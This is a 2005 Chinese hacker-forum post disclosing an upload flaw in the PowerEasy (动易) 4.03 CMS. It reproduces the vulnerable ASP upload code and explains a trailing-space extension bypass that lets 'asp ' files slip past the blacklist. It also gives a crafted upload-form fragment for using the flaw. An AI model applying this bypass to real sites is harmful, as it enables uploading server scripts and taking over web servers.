Board logo

标题: X.U.S.T 公布的动易4.03上传漏洞 [打印本页]

作者: 黑白交错    时间: 2005-2-4 01:07     标题: X.U.S.T 公布的动易4.03上传漏洞

[这个贴子最后由skyxhc在 2005/02/04 10:34am 第 1 次编辑] 动易4.03上传漏洞。2005-1-10 就出来了,一直没有公布。 看黑客防线的攻关第3关用的是动易所有公布出来了。 http://www.myxust.net 混世魔王 提供 QQ:26836659 影响版本: 动易4.03
  1. <%@language=vbscript codepage=936 %>
  2. <%
  3. option explicit
  4. response.buffer=true
  5. Server.ScriptTimeOut=9999999
  6. %>
  7. <!--#include file="../conn.asp"-->
  8. <!--#include file="../inc/function.asp"-->
  9. <!--#include file="../inc/upfile_class.asp"-->
  10. <%
  11. const upload_type=0 '上传方法:0=无惧无组件上传类,1=FSO上传 2=lyfupload,3=aspupload,4=chinaaspupload
  12. dim ChannelID
  13. dim AdminName
  14. dim EnableUploadFile,MaxFileSize,UpFileType,SavePath,SavePath2
  15. dim objUpload,oFile,FormName,strFileName,FileExt
  16. dim ImgWidth,ImgHeight,AlignType
  17. dim EnableUpload
  18. dim arrUpFileType
  19. dim ranNum,i,strJS,msg,dtNow '这些定义上传变量
  20. AdminName=trim(session("AdminName")) '判断seesion值是否正确
  21. UserName=trim(request.Cookies("asp163")("UserName")) '判断cookie
  22. msg=""
  23. FoundErr=false
  24. EnableUpload=false '上面这些定义了,如果seesion和cookie不合法,就出错
  25. dtNow=Now()
  26. %>
  27. <html>
  28. <head>
  29. <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
  30. <style type="text/css">
  31. <!--
  32. BODY{
  33. BACKGROUND-COLOR: #E1F4EE;
  34. font-size:9pt
  35. }
  36. -->
  37. </style>
  38. </head>
  39. <body leftmargin="2" topmargin="0" marginwidth="0" marginheight="0">
  40. <%
  41. if AdminName="" and UserName="" then '如果admin和username为空就出错,如果假的不为空的用户名会怎么样呢,但是上面的要注意
  42. response.Write("请登录后再使用本功能!")
  43. else
  44. select case upload_type
  45. case 0
  46. call upload_0() '使用化境无组件上传类
  47. case else
  48. 'response.write "本系统未开放插件功能"
  49. 'response.end
  50. end select
  51. end if
  52. call CloseConn()
  53. %>
  54. </body>
  55. </html>
  56. <%
  57. sub upload_0() '使用化境无组件上传类
  58. set objUpload=new upfile_class ''建立上传对象
  59. objUpload.GetData(104857600) '取得上传数据,限制最大上传100M
  60. if objUpload.err > 0 then '如果出错
  61. select case objUpload.err
  62. case 1
  63. response.write "请先选择你要上传的文件!"
  64. case 2
  65. response.write "你上传的文件总大小超出了最大限制(100M)"
  66. end select
  67. response.end
  68. end if
  69. '开始了对ChannelID的判断
  70. ChannelID=trim(objUpload.form("ChannelID"))
  71. if ChannelID="" then '判断了,如果为空就出错
  72. response.write "频道参数丢失!"
  73. exit sub '原来平时丢失的原因是因为ID不合要求
  74. end if
  75. ChannelID=Clng(ChannelID)
  76. sqlChannel="select * from PE_Channel where ChannelID=" & ChannelID
  77. set rsChannel=server.createObject("adodb.recordset")
  78. rsChannel.open sqlChannel,conn,1,1
  79. if rsChannel.bof and rsChannel.eof then
  80. response.write "找不到此频道"
  81. FoundErr=True '变量出错
  82. end if
  83. if rsChannel("Disabled")=True then
  84. response.write "此频道已经被禁用!"
  85. FoundErr=True '上面进行对频道出错的判断和处理
  86. else
  87. EnableUploadFile=rsChannel("EnableUploadFile")
  88. MaxFileSize=rsChannel("MaxFileSize")
  89. SavePath=strInstallDir & rsChannel("ChannelDir") & "/UploadSoftPic/" '保存的路径
  90. UpFileType=rsChannel("UpFileType") '成功上传对大小,路径,类型的处理
  91. end if
  92. rsChannel.close
  93. set rsChannel=nothing
  94. if EnableUploadFile=False then
  95. response.write "本频道未开放文件上传功能"
  96. FoundErr=True
  97. end if
  98. if FoundErr=True then exit sub
  99. for each FormName in objUpload.file '列出所有上传了的文件
  100. EnableUpload=False
  101. set ofile=objUpload.file(FormName) '生成一个文件对象
  102. if ofile.filesize<100 then
  103. msg="请先选择你要上传的文件!"
  104. FoundErr=True
  105. end if
  106. if ofile.filesize>(MaxFileSize*1024) then
  107. msg="文件大小超过了限制,最大只能上传" & CStr(MaxFileSize) & "K的文件!"
  108. FoundErr=true
  109. end if
  110. FileExt=lcase(ofile.FileExt) '判断扩展名
  111. arrUpFileType=split(UpFileType,"|")
  112. for i=0 to ubound(arrUpFileType)
  113. if FileExt=trim(arrUpFileType(i)) then
  114. EnableUpload=true
  115. exit for
  116. end if
  117. next
  118. if FileExt="asp" or FileExt="asa" or FileExt="aspx" or FileExt="cer" or FileExt="cdx" then
  119. EnableUpload=false '哈哈,关键在这里啦,上传漏洞在这里啦
  120. end if
  121. if EnableUpload=false then
  122. msg="这种文件类型不允许上传!/n/n只允许上传这几种文件类型:" & UpFileType
  123. FoundErr=true
  124. end if
  125. strJS="<SCRIPT language=javascript>" & vbcrlf
  126. if FoundErr<>true then
  127. if ObjInstalled_FSO=True then
  128. SavePath2=year(dtNow) & right("0" & month(dtNow),2) & "/"
  129. SavePath=SavePath & SavePath2
  130. if not fso.FolderExists(server.mappath(SavePath)) then
  131. fso.createFolder server.mappath(SavePath)
  132. end if
  133. end if
  134. randomize
  135. ranNum=int(900*rnd)+100
  136. strFileName=year(dtNow) & right("0" & month(dtNow),2) & right("0" & day(dtNow),2) & right("0" & hour(dtNow),2) & right("0" & minute(dtNow),2) & right("0" & second(dtNow),2) & ranNum & "." & FileExt
  137. ofile.SaveToFile Server.mappath(SavePath & strFileName) '保存文件
  138. msg="图片上传成功!"
  139. strJS=strJS & "parent.document.myform.SoftPicUrl.value='UploadSoftPic/" & SavePath2 & strFileName & "';" & vbcrlf
  140. end if
  141. strJS=strJS & "alert('" & msg & "');" & vbcrlf
  142. strJS=strJS & "history.go(-1);" & vbcrlf
  143. strJS=strJS & "</script>"
  144. response.write strJS
  145. set ofile=nothing
  146. next
  147. set objUpload=nothing
  148. end sub
  149. %>
复制代码
上面的是动易的上传代码,从上面分析,我们可以看到,它明显存在着上传漏洞。重要的漏洞代 码在于这一句
  1. FileExt=lcase(ofile.FileExt) '判断扩展名
  2. arrUpFileType=split(UpFileType,"|")
  3. for i=0 to ubound(arrUpFileType)
  4. if FileExt=trim(arrUpFileType(i)) then
  5. EnableUpload=true
  6. exit for
  7. end if
  8. next
  9. if FileExt="asp" or FileExt="asa" or FileExt="aspx" or FileExt="cer" or FileExt="cdx" then
  10. EnableUpload=false
复制代码
一个变量的出错导致上传漏洞的产生。原理都是利用加个空格,因为asp (后面有空格)是不等于asp的,而对 于windows对于碰到有空格的他会自动去掉空格,所以当我们上传一个asp 文件就会变成一个asp 文件。 利用的方法,主要是在于对channelID的突破,其它的好办,只要可以构造一下不为空的id就可以了。
  1. encType=multipart/form-data><INPUT class=tx1 type=file size=30 name=FileName> <INPUT class=tx1 type=file size=30 name=FileName1> <INPUT style="BORDER-RIGHT: rgb(88,88,88) 1px double; BORDER-TOP: rgb(88,88,88) 1px double; FONT-WEIGHT: normal; FONT-SIZE: 9pt; BORDER-LEFT: rgb(88,88,88) 1px double; LINE-HEIGHT: normal; BORDER-BOTTOM: rgb(88,88,88) 1px double; FONT-STYLE: normal; FONT-VARIANT: normal" type=submit value=上传 name=Submit>
  2. <INPUT id=PhotoUrlID type=hidden value=0 name=PhotoUrlID>
复制代码





欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/) Powered by Discuz! 7.2